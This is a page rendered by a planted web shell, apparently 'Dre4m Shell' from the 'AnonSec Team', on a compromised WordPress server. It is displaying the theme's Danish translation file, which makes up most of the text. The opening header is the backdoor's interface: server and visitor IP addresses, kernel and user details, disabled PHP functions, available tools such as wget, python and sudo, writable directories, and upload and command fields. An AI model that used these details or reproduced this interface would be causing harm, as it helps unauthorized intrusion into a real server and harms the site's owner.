Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.116.21.180
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/themes/twentytwentyone-da_DK.po
# Translation of Themes - Twenty Twenty-One in Danish
# This file is distributed under the same license as the Themes - Twenty Twenty-One package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-02-15 09:29:02+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: da_DK\n"
"Project-Id-Version: Themes - Twenty Twenty-One\n"

#. Description of the theme
msgid "Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. With new block patterns, which allow you to create a beautiful layout in a matter of seconds, this theme’s soft colors and eye-catching — yet timeless — design will let your work shine. Take it for a spin! See how Twenty Twenty-One elevates your portfolio, business website, or personal blog."
msgstr "Twenty Twenty-One er et tomt lærred til dine ideer, og det gør blokeditor til din bedste pensel. Med nye blokgrupper, som giver dig mulighed for at skabe et smukt layout på få sekunder, vil dette temas bløde farver og iøjnefaldende – men tidløse – design lade dit arbejde stråle. Prøv det! Se, hvordan Twenty Twenty-One løfter din portefølje, forretnings websted, eller personlige blog."

#. Theme Name of the theme
#: inc/block-patterns.php:20
msgid "Twenty Twenty-One"
msgstr "Twenty Twenty-One"

#: inc/template-tags.php:245
msgid "Older <span class=\"nav-short\">posts</span>"
msgstr "Ældre <span class=\"nav-short\">indlæg</span>"

#: inc/template-tags.php:234
msgid "Newer <span class=\"nav-short\">posts</span>"
msgstr "Nyere <span class=\"nav-short\">indlæg</span>"

#: classes/class-twenty-twenty-one-customize-notice-control.php:40
#: classes/class-twenty-twenty-one-dark-mode.php:178
msgid "https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support"
msgstr "https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support"

#. translators: %s: Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:177
msgid "Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href=\"%s\">Learn more about Dark Mode.</a>"
msgstr "Mørk tilstand er en enhedsindstilling. Hvis en besøgende på dit websted anmoder om det, vil dit websted blive vist med en mørk baggrund og lys tekst. <a href=\"%s\">Læs mere om Mørk tilstand.</a>"

#: classes/class-twenty-twenty-one-dark-mode.php:181
msgid "Dark Mode can also be turned on and off with a button that you can find in the bottom corner of the page."
msgstr "Mørk tilstand kan også slås til og fra med en knap, som du kan finde i nederste højre hjørne på siden."

#: classes/class-twenty-twenty-one-dark-mode.php:380
msgid "This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred."
msgstr "Dette websted bruger LocalStorage til at gemme indstillingen, når understøttelse af mørk tilstand slås til eller fra.<br> LocalStorage er nødvendig for, at indstillingen kan fungere, og bruges kun, når en bruger klikker på knappen Mørk tilstand.<br> Ingen data gemmes i databasen eller overføres."

#: classes/class-twenty-twenty-one-dark-mode.php:379
msgid "Suggested text:"
msgstr "Foreslået tekst:"

#: classes/class-twenty-twenty-one-dark-mode.php:378
msgid "Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled."
msgstr "Twenty Twenty-One bruger LocalStorage, når understøttelse af mørk tilstand er aktiveret."

#: classes/class-twenty-twenty-one-dark-mode.php:188
msgid "Dark Mode support"
msgstr "Understøttelse af Mørk tilstand"

#: classes/class-twenty-twenty-one-customize-notice-control.php:41
msgid "Learn more about Dark Mode."
msgstr "Læs mere om Mørk tilstand."

#: classes/class-twenty-twenty-one-customize-notice-control.php:39
msgid "To access the Dark Mode settings, select a light background color."
msgstr "Hvis du vil have adgang til indstillingerne for Mørk tilstand, skal du vælge en lys baggrundsfarve."

#: classes/class-twenty-twenty-one-dark-mode.php:134
msgid "Colors & Dark Mode"
msgstr "Farver & Mørk tilstand"

#: inc/template-tags.php:77
msgctxt "Label for sticky posts"
msgid "Featured post"
msgstr "Fremhævet opslag"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Submit"
msgstr "Send"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Password"
msgstr "Adgangskode"

#: inc/template-functions.php:183
msgctxt "Added to posts and pages that are missing titles"
msgid "Untitled"
msgstr "Uden titel"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "Cambridge, MA, 02139"
msgstr "Cambridge, MA, 02139"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "123 Main Street"
msgstr "123 Main Street"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "123-456-7890"
msgstr "123-456-7890"

#: inc/block-patterns.php:117
msgctxt "Block pattern sample content"
msgid "example@example.com"
msgstr "example@example.com"

#: classes/class-twenty-twenty-one-customize.php:138
msgctxt "Customizer control"
msgid "Background color"
msgstr "Baggrundsfarve"

#. translators: %s: WordPress Version.
#: inc/back-compat.php:42 inc/back-compat.php:61 inc/back-compat.php:86
msgid "This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade."
msgstr "Dette tema kræver WordPress 5,3 eller nyere. Du kører version %s. Opgrader venligst."

#. translators: %: Page number.
#: image.php:48 template-parts/content/content-page.php:36
#: template-parts/content/content-single.php:30
#: template-parts/content/content.php:36
msgid "Page %"
msgstr "Side %"

#: functions.php:187
msgctxt "Font size"
msgid "XXXL"
msgstr "XXXL"

#: functions.php:181
msgctxt "Font size"
msgid "XXL"
msgstr "XXL"

#: functions.php:175
msgctxt "Font size"
msgid "XL"
msgstr "XL"

#: functions.php:169
msgctxt "Font size"
msgid "L"
msgstr "L"

#: functions.php:163
msgctxt "Font size"
msgid "M"
msgstr "M"

#: functions.php:157
msgctxt "Font size"
msgid "S"
msgstr "S"

#: functions.php:151
msgctxt "Font size"
msgid "XS"
msgstr "XS"

#: comments.php:85
msgid "Leave a comment"
msgstr "Skriv kommentar"

#. translators: %s: Comment count number.
#: comments.php:39
msgctxt "Comments title"
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s kommentar"
msgstr[1] "%s kommentarer"

#: comments.php:34
msgid "1 comment"
msgstr "1 kommentar"

#: classes/class-twenty-twenty-one-dark-mode.php:334
msgid "On"
msgstr "Til"

#: classes/class-twenty-twenty-one-dark-mode.php:331
msgid "Off"
msgstr "Fra"

#. translators: %s: On/Off
#: classes/class-twenty-twenty-one-dark-mode.php:321
msgid "Dark Mode: %s"
msgstr "Mørk tilstand: %s"

#: inc/template-functions.php:422
msgid "This content is password protected. Please enter a password to view."
msgstr "Dette indhold er beskyttet med adgangskode. Angiv adgangskode, for at se indholdet."

#: inc/menu-functions.php:34
msgid "Open menu"
msgstr "Åbn menu"

#: inc/block-patterns.php:107
msgid "&#8220;Reading&#8221; by Berthe Morisot"
msgstr "&#8220;Læsning&#8221; af Berthe Morisot"

#: inc/block-patterns.php:84
msgid "&#8220;Self portrait&#8221; by Berthe Morisot"
msgstr "&#8220;Selvportræt&#8221; af Berthe Morisot"

#: inc/block-patterns.php:84
msgid "&#8220;Daffodils&#8221; by Berthe Morisot"
msgstr "&#8220;Påskeliljer&#8221; af Berthe Morisot"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:43
msgid "&#8220;Roses Trémières&#8221; by Berthe Morisot"
msgstr "&#8220;Roses Trémières&#8221; af Berthe Morisot"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Enter"
msgstr "Indsæt"

#: inc/starter-content.php:128
msgctxt "Theme starter content"
msgid "Check out the Support Forums"
msgstr "Prøv Hjælpefora"

#: inc/starter-content.php:122
msgctxt "Theme starter content"
msgid "Read the Theme Documentation"
msgstr "Læse Temaets dokumentation"

#: inc/starter-content.php:112
msgctxt "Theme starter content"
msgid "Need help?"
msgstr "Har du brug for hjælp?"

#: inc/starter-content.php:97
msgctxt "Theme starter content"
msgid "Twenty Twenty-One also includes an overlap style for column blocks. With a Columns block selected, open the \"Styles\" panel within the Editor sidebar. Choose the \"Overlap\" block style to try it out."
msgstr "Twenty Twenty-One indeholder også en overlapningsstil til kolonneblokke. Når en kolonneblok er markeret, skal du åbne panelet \"Designs\" i indstillinger sidebaren. Vælg blokformatet \"Overlap\" for at prøve det."

#: inc/starter-content.php:93
msgctxt "Theme starter content"
msgid "Overlap columns"
msgstr "Overlappende kolonner"

#: inc/starter-content.php:87
msgctxt "Theme starter content"
msgid "Twenty Twenty-One includes stylish borders for your content. With an Image block selected, open the \"Styles\" panel within the Editor sidebar. Select the \"Frame\" block style to activate it."
msgstr "Twenty Twenty-One inkluderer smukke rammer til dit indhold. Med en valgt billed-blok luk op for "

#: inc/starter-content.php:83
msgctxt "Theme starter content"
msgid "Frame your images"
msgstr "Indram dine billeder"

#: inc/starter-content.php:77
msgctxt "Theme starter content"
msgid "Block patterns are pre-designed groups of blocks. To add one, select the Add Block button [+] in the toolbar at the top of the editor. Switch to the Patterns tab underneath the search bar, and choose a pattern."
msgstr "Blokgrupper er forud fremstillede grupper af blokke. Hvis du vil tilføje sådan en, skal du vælge knappen Tilføj blok [+] på værktøjslinjen øverst i editoren. Skift til fanen Blokgrupper under søgelinjen, og vælg et design."

#: inc/starter-content.php:73
msgctxt "Theme starter content"
msgid "Add block patterns"
msgstr "Tilføj blok strukturer"

#: inc/starter-content.php:30 inc/starter-content.php:33
msgctxt "Theme starter content"
msgid "Create your website with blocks"
msgstr "Lav dit website ved hjælp af blokke"

#: inc/block-patterns.php:107
msgid "Reading"
msgstr "Læsning"

#: inc/block-patterns.php:107
msgid "Young Woman in Mauve"
msgstr "Ung kvinde i Mauve"

#: inc/block-patterns.php:107
msgid "The Garden at Bougival"
msgstr "Haven i Bougival"

#: inc/block-patterns.php:107
msgid "In the Bois de Boulogne"
msgstr "I Bois de Boulogne"

#: inc/block-patterns.php:107
msgid "Villa with Orange Trees, Nice"
msgstr "Villa med appelsintræer, Nice"

#: inc/block-patterns.php:107
msgid "Roses Trémières"
msgstr "Roses Trémières"

#: inc/block-patterns.php:96
msgid "&#8220;Villa with Orange Trees, Nice&#8221; by Berthe Morisot"
msgstr "&#8220;Villa med appelsintræer, Nice&#8221; af Berthe Morisot"

#: inc/block-patterns.php:96
msgid "Beautiful gardens painted by Berthe Morisot in the late 1800s"
msgstr "Smukke haver malet af Berthe Morisot i slutningen af 1800-tallet"

#: inc/block-patterns.php:96 inc/block-patterns.php:107
msgid "&#8220;The Garden at Bougival&#8221; by Berthe Morisot"
msgstr "&#8220;Haven ved Bougival&#8221; af Berthe Morisot"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:61
msgid "&#8220;Young Woman in Mauve&#8221; by Berthe Morisot"
msgstr "&#8220;Ung kvinde i lilla&#8221; af Berthe Morisot"

#: inc/block-patterns.php:72 inc/block-patterns.php:107
#: inc/starter-content.php:51
msgid "&#8220;In the Bois de Boulogne&#8221; by Berthe Morisot"
msgstr "&#8220;I Boulogne.skoven&#8221; af Berthe Morisot"

#: inc/block-patterns.php:60
msgid "Berthe Morisot<br>(French, 1841-1895)"
msgstr "Berthe Morisot<br>(Frankrig, 1841-1895)"

#: inc/block-patterns.php:60
msgid "Playing in the Sand"
msgstr "Legende i sandet"

#: inc/block-patterns.php:60
msgid "&#8220;Playing in the Sand&#8221; by Berthe Morisot"
msgstr "&#8220;Legende i sandet&#8221; af Berthe Morisot"

#. translators: %s: Parent post.
#: image.php:61
msgid "Published in %s"
msgstr "Udgivet i %s"

#: classes/class-twenty-twenty-one-customize.php:108
msgid "Summary"
msgstr "Sammenfatning"

#: classes/class-twenty-twenty-one-customize.php:85
msgid "Excerpt Settings"
msgstr "Indstillinger for uddrag"

#: inc/block-styles.php:98
msgid "Thick"
msgstr "Tyk"

#: classes/class-twenty-twenty-one-customize.php:106
msgid "On Archive Pages, posts show:"
msgstr "På arkivsider vises indlæg med:"

#. translators: %s: Author name.
#: template-parts/post/author-bio.php:31
msgid "View all of %s's posts."
msgstr "Vis alle indlæg af %s."

#. translators: %s: Author name.
#: inc/template-tags.php:49 template-parts/post/author-bio.php:19
msgid "By %s"
msgstr "Skrevet af %s"

#: template-parts/content/content-none.php:61
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Det lader til at vi ikke kan finde siden, du leder efter. Måske en søgning kan hjælpe."

#: template-parts/content/content-none.php:56
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Beklager, men din søgning gav ingen resultater. Prøv igen med nogle andre søgeord."

#. translators: %s: Link to WP admin new post page.
#: template-parts/content/content-none.php:43
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "Klar til at udgive dit første indlæg ? <a href=\"%s\">Start her</a>."

#: single.php:40
msgid "Previous post"
msgstr "Forrige indlæg"

#: single.php:39
msgid "Next post"
msgstr "Næste indlæg"

#. translators: %s: Parent post link.
#: single.php:25
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>"
msgstr "<span class=\"meta-nav\">Udgivet i</span><span class=\"post-title\">%s</span>"

#: searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "Søg"

#: searchform.php:24
msgid "Search&hellip;"
msgstr "Søg&hellip;"

#. translators: %d: The number of search results.
#: search.php:33
msgid "We found %d result for your search."
msgid_plural "We found %d results for your search."
msgstr[0] "Vi fandt %d resultat af din søgning."
msgstr[1] "Vi fandt %d resultater af din søgning."

#. translators: %s: Search term.
#: search.php:21 template-parts/content/content-none.php:22
msgid "Results for \"%s\""
msgstr "Resultater for \"%s\""

#. translators: %s: List of tags.
#: inc/template-tags.php:118 inc/template-tags.php:162
msgid "Tagged %s"
msgstr "Mærket %s"

#. translators: %s: List of categories.
#: inc/template-tags.php:108 inc/template-tags.php:152
msgid "Categorized as %s"
msgstr "Kategoriseret som %s"

#. translators: Used between list items, there is a space after the comma.
#: inc/template-tags.php:104 inc/template-tags.php:114
#: inc/template-tags.php:148 inc/template-tags.php:158
msgid ", "
msgstr ", "

#. translators: %s: Name of current post. Only visible to screen readers.
#: image.php:70 image.php:95 inc/template-tags.php:92 inc/template-tags.php:135
#: template-parts/content/content-page.php:48
msgid "Edit %s"
msgstr "Rediger %s"

#. translators: %s: Name of current post.
#: inc/template-functions.php:138
msgid "Continue reading %s"
msgstr "Læs mere %s"

#: inc/block-styles.php:71
msgid "Dividers"
msgstr "Separatorer"

#: inc/block-styles.php:62
msgid "Frame"
msgstr "Ramme"

#: inc/block-styles.php:35 inc/block-styles.php:44 inc/block-styles.php:53
#: inc/block-styles.php:80 inc/block-styles.php:89
msgid "Borders"
msgstr "Kanter"

#: inc/block-styles.php:26
msgid "Overlap"
msgstr "Overlappende"

#: inc/block-patterns.php:116
msgctxt "Block pattern description"
msgid "A block with 3 columns that display contact information and social media links."
msgstr "En blokgruppe med 3 kolonner, der viser kontaktoplysninger og links til sociale medier."

#: inc/block-patterns.php:114
msgid "Contact information"
msgstr "Kontaktoplysninger"

#: inc/block-patterns.php:106
msgctxt "Block pattern description"
msgid "A list of projects with thumbnail images."
msgstr "En liste over projekter med miniaturebilleder."

#: inc/block-patterns.php:104
msgid "Portfolio list"
msgstr "Oversigtsliste"

#: inc/block-patterns.php:95
msgctxt "Block pattern description"
msgid "An overlapping columns block with two images and a text description."
msgstr "En blokgruppe med overlappende kolonner, der indeholder to billeder og en tekstbeskrivelse."

#: inc/block-patterns.php:92
msgid "Overlapping images and text"
msgstr "Overlappende billeder og tekst"

#: inc/block-patterns.php:83
msgctxt "Block pattern description"
msgid "A media & text block with a big image on the left and a smaller one with bordered frame on the right."
msgstr "En medie- og tekstblok med et stort billede til venstre og et mindre med ramme til højre."

#: inc/block-patterns.php:80
msgid "Two images showcase"
msgstr "To billede display"

#: inc/block-patterns.php:71
msgctxt "Block pattern description"
msgid "Three images inside an overlapping columns block."
msgstr "Tre billeder i en blokgruppe med overlappende kolonner."

#: inc/block-patterns.php:68
msgid "Overlapping images"
msgstr "Overlappende billeder"

#: inc/block-patterns.php:59
msgctxt "Block pattern description"
msgid "A Media & Text block with a big image on the left and a heading on the right. The heading is followed by a separator and a description paragraph."
msgstr "En blokgruppe med et stort billede til venstre og en overskrift til højre. Overskriften efterfølges af en separator og et beskrivelsesafsnit."

#: inc/block-patterns.php:56
msgid "Media and text article title"
msgstr "Medie- og teksthoved til artikel"

#: inc/block-patterns.php:48
msgid "example@example.com"
msgstr "example@example.com"

#: inc/block-patterns.php:48
msgid "Dribbble"
msgstr "Dribbble"

#: inc/block-patterns.php:48
msgid "Instagram"
msgstr "Instagram"

#: inc/block-patterns.php:48
msgid "Twitter"
msgstr "Twitter"

#: inc/block-patterns.php:48
msgid "Let&#8217;s Connect."
msgstr "Let&#8217;s Connect."

#: inc/block-patterns.php:47
msgctxt "Block pattern description"
msgid "A huge text followed by social networks and email address links."
msgstr "En meget stor overskrift efterfulgt af links til sociale netværk og e-mailadresse."

#: inc/block-patterns.php:44
msgid "Links area"
msgstr "Linkområde"

#: inc/block-patterns.php:36
msgid "A new portfolio default theme for WordPress"
msgstr "Et nyt  portfolio standardtema til WordPress"

#: inc/block-patterns.php:33
msgid "Large text"
msgstr "Stor tekst"

#: image.php:83
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Fuld størrelse"

#. translators: %s: Publish date.
#: inc/template-tags.php:29
msgid "Published %s"
msgstr "Udgivet %s"

#: comments.php:61 image.php:45 inc/template-tags.php:228
#: template-parts/content/content-page.php:33
#: template-parts/content/content-single.php:27
#: template-parts/content/content.php:33
msgid "Page"
msgstr "Side"

#: template-parts/header/site-nav.php:19
msgid "Close"
msgstr "Luk"

#: template-parts/header/site-nav.php:16
msgid "Menu"
msgstr "Menu"

#: functions.php:76 inc/starter-content.php:154
#: template-parts/header/site-nav.php:13
msgid "Primary menu"
msgstr "Primær menu"

#: header.php:26
msgid "Skip to content"
msgstr "Fortsæt til indhold"

#: functions.php:363
msgid "Add widgets here to appear in your footer."
msgstr "Tilføj widgets her for at fremkomme i din sidefod."

#: functions.php:361
msgid "Footer"
msgstr "Sidefod"

#: functions.php:309
msgid "Red to purple"
msgstr "Rød til lilla"

#: functions.php:304
msgid "Purple to red"
msgstr "Lilla til rød"

#: functions.php:299
msgid "Yellow to red"
msgstr "Gul til rød"

#: functions.php:294
msgid "Red to yellow"
msgstr "Rød til gul"

#: functions.php:289
msgid "Yellow to green"
msgstr "Gul til grøn"

#: functions.php:284
msgid "Green to yellow"
msgstr "Grøn til gul"

#: functions.php:279
msgid "Yellow to purple"
msgstr "Gul til lilla"

#: functions.php:274
msgid "Purple to yellow"
msgstr "Lilla til gul"

#: functions.php:263
msgid "White"
msgstr "Hvid"

#: functions.php:258
msgid "Yellow"
msgstr "Gul"

#: functions.php:253
msgid "Orange"
msgstr "Orange"

#: functions.php:248
msgid "Red"
msgstr "Rød"

#: functions.php:243
msgid "Purple"
msgstr "Lilla"

#: functions.php:238
msgid "Blue"
msgstr "Blå"

#: functions.php:233
msgid "Green"
msgstr "Grøn"

#: functions.php:228
msgid "Gray"
msgstr "Musegrå"

#: functions.php:223 inc/block-styles.php:107
msgid "Dark gray"
msgstr "Mørkegrå"

#: functions.php:218
msgid "Black"
msgstr "Sort"

#: functions.php:186
msgid "Gigantic"
msgstr "Gigantisk"

#: functions.php:180
msgid "Huge"
msgstr "Kæmpe"

#: functions.php:174
msgid "Extra large"
msgstr "Ekstra stort"

#: functions.php:168
msgid "Large"
msgstr "Stor"

#: functions.php:162
msgid "Normal"
msgstr "Normal"

#: functions.php:156
msgid "Small"
msgstr "Lille"

#: functions.php:150
msgid "Extra small"
msgstr "Ekstra lille"

#. translators: %s: WordPress.
#: footer.php:67
msgid "Proudly powered by %s."
msgstr "Kører på %s."

#: footer.php:24 functions.php:77 inc/starter-content.php:165
msgid "Secondary menu"
msgstr "Sekundær menu"

#: comments.php:78
msgid "Comments are closed."
msgstr "Der er lukket for kommentarer."

#: comments.php:70
msgid "Newer comments"
msgstr "Nyere kommentarer"

#: comments.php:66
msgid "Older comments"
msgstr "Ældre kommentarer"

#: classes/class-twenty-twenty-one-customize.php:109
msgid "Full text"
msgstr "Fuld tekst"

#: classes/class-twenty-twenty-one-customize.php:75
msgid "Display Site Title & Tagline"
msgstr "Vis websted titel & slogan"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Det ser ud som der er ikke er noget her. Har du prøvet med en søgning?"

#: 404.php:16 template-parts/content/content-none.php:30
msgid "Nothing here"
msgstr "Intet her"

#. Author URI of the theme
#: footer.php:68
msgid "https://wordpress.org/"
msgstr "https://da.wordpress.org/"

#. Author of the theme
msgid "the WordPress team"
msgstr "af WordPress-holdet"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentytwentyone/"
msgstr "https://wordpress.org/themes/twentytwentyone/"

Anon7 - 2022
AnonSec Team